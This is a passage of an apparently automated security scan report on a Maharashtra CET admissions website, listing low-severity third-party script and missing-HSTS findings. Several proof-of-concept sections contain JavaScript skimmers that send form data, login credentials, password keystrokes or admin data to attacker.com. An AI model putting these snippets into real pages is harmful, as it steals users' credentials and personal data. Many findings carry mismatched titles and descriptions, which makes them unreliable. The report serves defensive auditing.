snippet indicating external script:\n```html\n<script src=\"https://external-domain.com/script.js\"></script>\n```\n\n**Business Impact**\n\nThird-party script dependencies expose websites to indirect breaches even when internal systems are secure. Organizations lose visibility and control over runtime behavior, increasing compliance challenges and exposing end-users to privacy violations or targeted phishing campaigns originating from trusted domains.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/categorycms/all/page/2/ / https://cetcell.mahacet.org/categorycms/all/page/2/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.8 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/categorycms/all/page/2/ |\n\n**Description**\n\nIncluding external JavaScript libraries hosted on third-party domains introduces dependency risks including supply chain compromise, performance degradation, and increased surface area for tracking or surveillance. Even though the included scripts themselves may be legitimate, reliance on remote sources creates trust boundaries outside organizational control.\n\nSuch inclusion often happens unintentionally through plugins, themes, or CMS modules referencing CDNs or external repositories.\n\n**Attack Scenario (Proof of Concept)**\n\nAssume a third-party CDN serving jQuery becomes compromised:\n\n1. Website loads jQuery from `https://code.jquery.com/jquery.min.js`.\n2. Attacker compromises CDN endpoint and replaces library with backdoored version.\n3. All visitors loading the affected page unknowingly run malicious JavaScript.\n4. Session tokens, form inputs, or personal information get exfiltrated silently.\n\nHTML snippet indicating external script:\n```html\n<script src=\"https://external-domain.com/script.js\"></script>\n```\n\n**Business Impact**\n\nThird-party script dependencies expose websites to indirect breaches even when internal systems are secure. Organizations lose visibility and control over runtime behavior, increasing compliance challenges and exposing end-users to privacy violations or targeted phishing campaigns originating from trusted domains.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/categorycms/announcement/page/2/ / https://cetcell.mahacet.org/categorycms/announcement/page/2/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/categorycms/announcement/page/2/ |\n\n**Description**\n\nIncluding third-party JavaScript sources increases dependency risks including supply chain compromise, performance degradation, and increased attack surface. External scripts bypass same-origin policy restrictions unless properly sandboxed.\n\n**Attack Scenario (Proof of Concept)**\n\nThird-party CDN compromised:\n\n```html\n<script src=\"https://cdn.example.com/malicious.js\"></script>\n```\n\nLoaded script exfiltrates cookies or performs actions on behalf of authenticated users.\n\n**Business Impact**\n\nUncontrolled dependencies create unpredictable security outcomes. Compromise of external libraries affects entire ecosystem dependent upon them.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/search-institute/ / https://cetcell.mahacet.org/search-institute/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.8 (AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/search-institute/ |\n\n**Description**\n\nThe search institute page incorporates external JavaScript libraries sourced from third-party domains. This practice introduces dependency risks where external providers retain influence over runtime behavior of institutional web properties.\n\nSuch arrangements violate principle of least privilege and complicate accountability frameworks during incident investigations.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker compromises a third-party analytics provider referenced on the search page:\n```html\n<script src=\"https://analytics.provider.com/tracker.js\"></script>\n```\n\nOnce infected, tracker.js injects malicious code collecting keystrokes or exfiltrating form submissions:\n```javascript\ndocument.addEventListener('submit', function(e){\n  fetch('https://attacker.com/collect', {\n    method: 'POST',\n    body: new FormData(e.target)\n  });\n});\n```\n\nAll users submitting queries or applications become targets.\n\n**Business Impact**\n\nReliance on external scripts exposes organizations to cascading failures and reputational fallout stemming from vendor compromises. Educational institutions must balance usability enhancements with rigorous vetting procedures ensuring third-party integrations align with institutional values and risk tolerance thresholds.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/educms_download_category/infobrcapayush/ / https://cetcell.mahacet.org/educms_download_category/infobrcapayush/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/educms_download_category/infobrcapayush/ |\n\n**Description**\n\nThis vulnerability occurs when a web application loads JavaScript resources from external domains. Such practices can introduce risks if the third-party scripts are compromised or maliciously altered. Although the current implementation may not pose an immediate threat, it increases the attack surface by relying on external dependencies whose integrity cannot be guaranteed without proper Subresource Integrity (SRI) checks.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker who gains control over the CDN or domain hosting the external JavaScript file could inject malicious code into the page. For instance:\n\n1. The page at `https://cetcell.mahacet.org/educms_download_category/infobrcapayush/` includes a script like `<script src=\"https://thirdparty.com/script.js\"></script>`.\n2. An attacker compromises `thirdparty.com`, replacing `script.js` with a version containing keylogging or credential theft logic.\n3. All users visiting the vulnerable page unknowingly execute the malicious script, leading to potential session hijacking or data exfiltration.\n\n**Business Impact**\n\nWhile direct exploitation requires compromise of the third-party provider, the risk remains significant due to supply chain exposure. A breach could lead to unauthorized access to sensitive user information, undermining trust in the platform and potentially violating compliance requirements such as GDPR or PCI DSS.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/educms_download_category/grhigher/ / https://cetcell.mahacet.org/educms_download_category/grhigher/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/educms_download_category/grhigher/ |\n\n**Description**\n\nPage loads external JavaScript libraries without SRI validation. Increases reliance on third-party availability and integrity.\n\n**Attack Scenario (Proof of Concept)**\n\n1. External library source gets hijacked or poisoned.\n2. Page dynamically loads compromised script.\n3. Unauthorized actions performed on behalf of authenticated users.\n\n**Business Impact**\n\nSupply chain compromise affecting academic scheduling or registration workflows. Potential for widespread disruption or misinformation dissemination.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/cms-download/mah-bhmct-bca-bba-bbm-bms-cet-2026-document-on-normalization/ / https://cetcell.mahacet.org/cms-download/mah-bhmct-bca-bba-bbm-bms-cet-2026-document-on-normalization/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/cms-download/mah-bhmct-bca-bba-bbm-bms-cet-2026-document-on-normalization/ |\n\n**Description**\n\nSimilar pattern observed here—external scripts loaded without verification mechanisms.\n\n**Attack Scenario (Proof of Concept)**\n\n1. Third-party CDN delivers altered script.\n2. Visitor receives unexpected behavior including redirection or form manipulation.\n3. Data leakage or fraudulent submissions occur silently.\n\n**Business Impact**\n\nThreatens transparency around normalization procedures vital to fair admissions process. Risk escalates during peak usage periods.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/cms-download/special-registration-window-for-mht-cet-pcm-pcb-cet-examination-a-y-2026-27/ / https://cetcell.mahacet.org/cms-download/special-registration-window-for-mht-cet-pcm-pcb-cet-examination-a-y-2026-27/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/cms-download/special-registration-window-for-mht-cet-pcm-pcb-cet-examination-a-y-2026-27/ |\n\n**Description**\n\nExternal JavaScript inclusion without integrity checking poses similar threats as outlined previously.\n\n**Attack Scenario (Proof of Concept)**\n\n1. Script hosted externally becomes corrupted or malicious.\n2. Registration window displays altered forms or collects credentials elsewhere.\n3. Students submit personal details unknowingly to attackers.\n\n**Business Impact**\n\nSerious implications for student privacy and institutional liability. Compromised registrations may go undetected until after deadlines pass.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/cms-download/extension-third-extension-to-application-form-filling-for-m-p-ed-m-ed-b-ed-general-special-b-ed-elct-cet-examination-a-y-2026-27/ / https://cetcell.mahacet.org/cms-download/extension-third-extension-to-application-form-filling-for-m-p-ed-m-ed-b-ed-general-special-b-ed-elct-cet-examination-a-y-2026-27/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/cms-download/extension-third-extension-to-application-form-filling-for-m-p-ed-m-ed-b-ed-general-special-b-ed-elct-cet-examination-a-y-2026-27/ |\n\n**Description**\n\nReliance on external JavaScript sources introduces dependency risks.\n\n**Attack Scenario (Proof of Concept)**\n\n1. External script provider suffers outage or compromise.\n2. Application form fails to load correctly or behaves unexpectedly.\n3. Candidates unable to complete submission before deadline.\n\n**Business Impact**\n\nOperational failure disrupting critical enrollment processes. Legal and reputational fallout possible if deadlines missed due to technical issues.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/cms-download/final-examination-dates-mht-cet-pcm-pcb-and-mba-mms-cet-second-attempt/ / https://cetcell.mahacet.org/cms-download/final-examination-dates-mht-cet-pcm-pcb-and-mba-mms-cet-second-attempt/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/cms-download/final-examination-dates-mht-cet-pcm-pcb-and-mba-mms-cet-second-attempt/ |\n\n**Description**\n\nAbsence of HSTS header reduces assurance of secure transmission.\n\n**Attack Scenario (Proof of Concept)**\n\n1. Initial visit made over HTTP.\n2. No forced upgrade to HTTPS occurs.\n3. Eavesdropper captures sensitive schedule updates.\n\n**Business Impact**\n\nConfidentiality breach exposing examination timelines prematurely. Could facilitate cheating or logistical sabotage efforts.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/categorycms/ayush/ / https://cetcell.mahacet.org/categorycms/ayush/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/categorycms/ayush/ |\n\n**Description**\n\nThird-party JavaScript usage without integrity controls creates supply chain risk.\n\n**Attack Scenario (Proof of Concept)**\n\n1. CDN delivering script experiences DNS hijacking.\n2. Modified script alters page layout or inserts fake notifications.\n3. Users misled about important announcements or deadlines.\n\n**Business Impact**\n\nMisinformation propagation affecting Ayush program applicants. Trust erosion among stakeholders and regulatory scrutiny likely.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/educms_download_category/infobrcettechnical/ / https://cetcell.mahacet.org/educms_download_category/infobrcettechnical/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/educms_download_category/infobrcettechnical/ |\n\n**Description**\n\nUse of external scripts without integrity checks continues to represent ongoing risk.\n\n**Attack Scenario (Proof of Concept)**\n\n1. Script provider suffers compromise.\n2. Altered script redirects users to phishing sites.\n3. Credentials harvested surreptitiously.\n\n**Business Impact**\n\nLoss of control over user experience and potential credential theft. Damage to reputation and increased support burden.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/educms_download_category/noticeshigher/ / https://cetcell.mahacet.org/educms_download_category/noticeshigher/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/educms_download_category/noticeshigher/ |\n\n**Description**\n\nUse of third-party JavaScript libraries increases the attack surface and reduces control over the final rendered output. Compromise of the external resource can lead to various forms of client-side exploitation.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker modifies the external script to include:\n\n```javascript\ndocument.addEventListener('DOMContentLoaded', () => {\n    document.querySelector('#login-btn').onclick = function() {\n        fetch('http://attacker.com/steal', {method:'POST', body:JSON.stringify({username: document.getElementById('user').value, password: document.getElementById('pass').value})});\n    };\n});\n```\n\nCaptures login credentials before submission.\n\n**Business Impact**\n\nUnauthorized access to accounts, identity theft, and significant reputational damage resulting from perceived negligence in protecting user inputs.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/cms-download/mba-mms-cet-document-on-normalization/ / https://cetcell.mahacet.org/cms-download/mba-mms-cet-document-on-normalization/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/cms-download/mba-mms-cet-document-on-normalization/ |\n\n**Description**\n\nIncluding scripts from external domains increases the chance of inadvertently executing malicious code if the external source is compromised. This also makes auditing and patch management more complex.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker replaces the external script with:\n\n```javascript\n(function() {\n    var xhr = new XMLHttpRequest();\n    xhr.open(\"GET\", \"/admin/secrets\", true);\n    xhr.onload = function () {\n        navigator.sendBeacon(\"http://attacker.com/exfil\", xhr.responseText);\n    };\n    xhr.send();\n})();\n```\n\nSteals internal administrative data accessible to authenticated users.\n\n**Business Impact**\n\nInternal data exposure, escalation paths for attackers, and challenges in maintaining secure development lifecycle standards.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/educms_download_category/grmedical/ / https://cetcell.mahacet.org/educms_download_category/grmedical/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/educms_download_category/grmedical/ |\n\n**Description**\n\nUse of external JavaScript libraries increases the risk profile of the application. If the external provider experiences a security incident, the dependent applications inherit the consequences.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker compromises the external script and injects:\n\n```javascript\ndocument.querySelectorAll('input[type=password]').forEach(i => i.onkeyup=function(e){fetch('http://attacker.com/log',{method:'POST',body:e.target.value})});\n```\n\nLogs keystrokes entered into password fields.\n\n**Business Impact**\n\nSensitive data exposure, violation of user expectations regarding privacy, and potential regulatory scrutiny around data handling practices.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/cms-download/date-extension-notice-registration-for-mh-nursing-cet-2026/ / https://cetcell.mahacet.org/cms-download/date-extension-notice-registration-for-mh-nursing-cet-2026/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/cms-download/date-extension-notice-registration-for-mh-nursing-cet-2026/ |\n\n**Description**\n\nReliance on third-party JavaScript introduces dependencies beyond organizational control. These can act as entry points for attackers looking to influence page behavior indirectly.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker modifies the external script to include:\n\n```javascript\ndocument.forms[0].onsubmit = function() {\n    let data = new FormData(this);\n    fetch('http://attacker.com/capture', {method: 'POST', body: data});\n};\n```\n\nIntercepts form submissions before forwarding to legitimate handlers.\n\n**Business Impact**\n\nData interception, unauthorized processing of user-submitted information, and degradation of system integrity due to untrusted component integration.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/categorycms/infobrcettechnical/ / https://cetcell.mahacet.org/categorycms/infobrcettechnical/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/categorycms/infobrcettechnical/ |\n\n**Description**\n\nUse of external scripts without integrity checks continues to represent ongoing risk.\n\n**Attack Scenario (Proof of Concept)**\n\n1. Script provider suffers compromise.\n2. Altered script redirects users to phishing sites.\n3. Credentials harvested surreptitiously.\n\n**Business Impact**\n\nLoss of control over user experience and potential credential theft. Damage to reputation and increased support burden.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/educms_download_category/grtechnical/ / https://cetcell.mahacet.org/educms_download_category/grtechnical/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/educms_download_category/grtechnical/ |\n\n**Description**\n\nUse of external scripts without integrity checks continues to represent ongoing risk.\n\n**Attack Scenario (Proof of Concept)**\n\n1. Script provider suffers compromise.\n2. Altered script redirects users to phishing sites.\n3. Credentials harvested surreptitiously.\n\n**Business Impact**\n\nLoss of control over user experience and potential credential theft. Damage to reputation and increased support burden.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/cms-download/rules-and-regulations-governing-malpractices-misconduct-and-unfair-means-during-cet-examination/ / https://cetcell.mahacet.org/cms-download/rules-and-regulations-governing-malpractices-misconduct-and-unfair-means-during-cet-examination/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/cms-download/rules-and-regulations-governing-malpractices-misconduct-and-unfair-means-during-cet-examination/ |\n\n**Description**\n\nUse of external scripts without integrity checks continues to represent ongoing risk.\n\n**Attack Scenario (Proof of Concept)**\n\n1. Script provider suffers compromise.\n2. Altered script redirects users to phishing sites.\n3. Credentials harvested surreptitiously.\n\n**Business Impact**\n\nLoss of control over user experience and potential credential theft. Damage to reputation and increased support burden.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/wp-content/plugins/elementskit-lite/widgets/init/assets/js/elementor.js / https://cetcell.mahacet.org/wp-content/plugins/elementskit-lite/widgets/init/assets/js/elementor.js\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/wp-content/plugins/elementskit-lite/widgets/init/assets/js/elementor.js |\n\n**Description**\n\nThe webpage loads external JavaScript files hosted on third-party domains. While common in modern web development, cross-domain script inclusion introduces dependency risks. If the third-party host becomes compromised or serves malicious code, it can affect the integrity and security of the primary website.\n\nThis practice increases the attack surface and relies on implicit trust in external entities whose security posture remains outside organizational control.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker compromises the CDN hosting the included JavaScript file (`elementor.js`). Upon loading the main page, visitors execute the injected malicious payload, which exfiltrates session tokens or performs clickjacking attacks.\n\nScript tag example:\n```html\n<script src=\"https://cdn.example.com/path/to/elementor.js\"></script>\n```\n\nIf replaced with:\n```html\n<script src=\"https://malicious-cdn.com/path/to/elementor.js\"></script>\n```\n\nIt executes arbitrary scripts in context of the trusted domain.\n\n**Business Impact**\n\nThird-party script injection poses substantial risks to user privacy, brand integrity, and regulatory compliance. Organizations relying on external libraries must implement subresource integrity checks or self-host critical dependencies to mitigate supply chain threats effectively.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/wp-content/plugins/elementor/assets/js/frontend.min.js / https://cetcell.mahacet.org/wp-content/plugins/elementor/assets/js/frontend.min.js\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/wp-content/plugins/elementor/assets/js/frontend.min.js |\n\n**Description**\n\nThe resource does not include the `Strict-Transport-Security` header, indicating that the server does not enforce secure communication. This allows browsers to potentially connect over HTTP, exposing users to downgrade attacks that compromise data confidentiality and integrity.\n\nThis vulnerability is common in plugin assets served directly from the origin server, where centralized header policies may not apply consistently.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker intercepts a user downloading a JavaScript file used by the Elementor builder. By forcing the connection to HTTP, the attacker delivers a modified version of the script that logs keystrokes or steals authentication tokens.\n\nHTTP Request:\n```http\nGET /wp-content/plugins/elementor/assets/js/frontend.min.js HTTP/1.1\nHost: cetcell.mahacet.org\n```\n\nMissing HSTS header enables downgrade path.\n\n**Business Impact**\n\nManipulation of frontend scripts can lead to persistent XSS vulnerabilities, unauthorized data collection, or UI redressing attacks. Implementing HSTS across all served assets strengthens defenses against such tampering attempts.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/wp-content/plugins/elementor-pro/assets/lib/smartmenus/jquery.smartmenus.min.js / https://cetcell.mahacet.org/wp-content/plugins/elementor-pro/assets/lib/smartmenus/jquery.smartmenus.min.js\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/wp-content/plugins/elementor-pro/assets/lib/smartmenus/jquery.smartmenus.min.js |\n\n**Description**\n\nHTTP Strict Transport Security (HSTS) header is missing from the server's response. This means that although the current interaction is encrypted, future visits initiated through less secure methods (like clicking a link from email or typing domain name) may default to HTTP unless actively redirected.\n\nSuch vulnerabilities allow attackers to perform downgrade attacks, compromising confidentiality and integrity of transmitted data.\n\n**Attack Scenario (Proof of Concept)**\n\n1. User receives an email with a link to this brochure download page.\n2. Link points to HTTP variant (`http://`) rather than HTTPS.\n3. Attacker intercepts the request and prevents automatic upgrade to HTTPS.\n4. Brochure downloads proceed over HTTP, potentially manipulated or logged by intermediary nodes.\n5. If any embedded scripts exist within the brochure HTML preview, those too load insecurely.\n\nCheck for header presence:\n```bash\ncurl -I https://cetcell.mahacet.org/educms_download_category/infobrcettechnical/\n```\n\nHeader should include:\n```\nStrict-Transport-Security: max-age=31536000; includeSubDomains\n```\n\nBut it doesn't.\n\n**Business Impact**\n\nRisk of tampering with official documentation distributed online. Technical brochures often contain system specifications or procedural instructions relevant to applicants or educators. Compromised versions could mislead users, introduce operational errors, or serve as vectors for malware delivery.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/wp-content/plugins/elementor-pro/assets/js/frontend.min.js / https://cetcell.mahacet.org/wp-content/plugins/elementor-pro/assets/js/frontend.min.js\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/wp-content/plugins/elementor-pro/assets/js/frontend.min.js |\n\n**Description**\n\nHTTP Strict Transport Security (HSTS) header is missing from the server's response. This means that although the current interaction is encrypted, future visits initiated through less secure methods (like clicking a link from email or typing domain name) may default to HTTP unless actively redirected.\n\nSuch vulnerabilities allow attackers to perform downgrade attacks, compromising confidentiality and integrity of transmitted data.\n\n**Attack Scenario (Proof of Concept)**\n\n1. Frontend JavaScript bundle loaded dynamically via AJAX call.\n2. Call routed through insecure endpoint due to missing HSTS.\n3. Attacker injects malicious code into bundle modifying UI elements.\n4. Phishing overlay prompts users to enter passwords repeatedly.\n5. Credentials captured and exfiltrated offsite.\n\nVerify:\n```bash\ncurl -I https://cetcell.mahacet.org/wp-content/plugins/elementor-pro/assets/js/frontend.min.js\n```\n\nMissing:\n```\nStrict-Transport-Security: max-age=31536000; includeSubDomains\n```\n\n**Business Impact**\n\nClient-side manipulation enables sophisticated social engineering tactics. Users perceive site as trustworthy yet unknowingly submit sensitive data to attackers. Recovery efforts involve extensive forensic analysis and rebuilding user trust.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js / https://cetcell.mahacet.org/wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js |\n\n**Description**\n\nLack of HSTS header implies that although currently accessed via HTTPS, future interactions initiated over HTTP aren’t automatically upgraded. This creates window for downgrade attacks before full encryption kicks in.\n\n**Attack Scenario (Proof of Concept)**\n\nUser clicks link pointing to `http://cetcell.mahacet.org/path/to/resource`. No HSTS forces reliance on manual redirects or explicit typing of `https://`.\n\nNo presence of:\n\n```http\nStrict-Transport-Security: ...\n```\n\nLeaves early-stage traffic exposed to eavesdropping or manipulation.\n\n**Business Impact**\n\nDiminished protection for returning users whose first interaction isn’t secured. Especially relevant for administrative portals where session tokens or login forms are involved.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/wp-content/themes/educational-zone/assets/js/popper.js / https://cetcell.mahacet.org/wp-content/themes/educational-zone/assets/js/popper.js\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/wp-content/themes/educational-zone/assets/js/popper.js |\n\n**Description**\n\nPopper.js is widely used for tooltip positioning and dropdown menus. While typically benign, absence of HSTS reduces overall defense-in-depth posture for all theme-dependent features.\n\n**Attack Scenario (Proof of Concept)**\n\nInitial visit starts with unencrypted connection (`http`) due to cached DNS or typo. Without HSTS, browser continues downgrading unless manually corrected.\n\nMissing:\n\n```http\nStrict-Transport-Security: ...\n```\n\nAllows downgrade path to persist longer than necessary.\n\n**Business Impact**\n\nMinor degradation in TLS consistency across site components. Could allow passive surveillance or active interference during early stages of browsing activity.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/wp-content/plugins/elementskit-lite/widgets/init/assets/js/widget-scripts.js / https://cetcell.mahacet.org/wp-content/plugins/elementskit-lite/widgets/init/assets/js/widget-scripts.js\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/wp-content/plugins/elementskit-lite/widgets/init/assets/js/widget-scripts.js |\n\n**Description**\n\nWidget scripts play key roles in enhancing interactivity. Their lack of HSTS support weakens total site-wide HSTS coverage, creating inconsistent security boundaries.\n\n**Attack Scenario (Proof of Concept)**\n\nUser enters site via non-HSTS-enforced subresource load. Attacker manipulates DNS resolution or caches intermediate proxy to redirect widget calls over HTTP.\n\nMissing:\n\n```http\nStrict-Transport-Security: ...\n```\n\nPermits downgrade persistence.\n\n**Business Impact**\n\nInconsistent TLS posture across modular components. Reduces effectiveness of global HSTS policies and complicates audit trails for regulatory compliance.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/wp-content/plugins/elementor/assets/js/frontend-modules.min.js / https://cetcell.mahacet.org/wp-content/plugins/elementor/assets/js/frontend-modules.min.js\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/wp-content/plugins/elementor/assets/js/frontend-modules.min.js |\n\n**Description**\n\nCore module responsible for managing various frontend functionalities lacks HSTS protection. Despite being minified and optimized, it remains essential infrastructure needing consistent security treatment.\n\n**Attack Scenario (Proof of Concept)**\n\nSession begins over HTTP due to cached redirect or bookmark error. No HSTS ensures automatic upgrade occurs.\n\nMissing:\n\n```http\nStrict-Transport-Security: ...\n```\n\nOpens door for downgrade attacks during initial handshake phase.\n\n**Business Impact**\n\nReduces resilience against opportunistic network-level threats. Compromises holistic approach to securing modern WordPress implementations built atop Elementor ecosystem.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/wp-content/plugins/addon-elements-for-elementor-page-builder/build/index.min.js / https://cetcell.mahacet.org/wp-content/plugins/addon-elements-for-elementor-page-builder/build/index.min.js\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/wp-content/plugins/addon-elements-for-elementor-page-builder/build/index.min.js |\n\n**Description**\n\nThird-party extension lacks HSTS implementation, weakening overall site-wide HSTS policy coherence. Even though served over HTTPS, absence of enforcement leaves room for downgrade exploits.\n\n**Attack Scenario (Proof of Concept)**\n\nVisitor accesses site after clearing cache or following shortened URL beginning with `http`. Extension loads insecurely unless HSTS overrides default 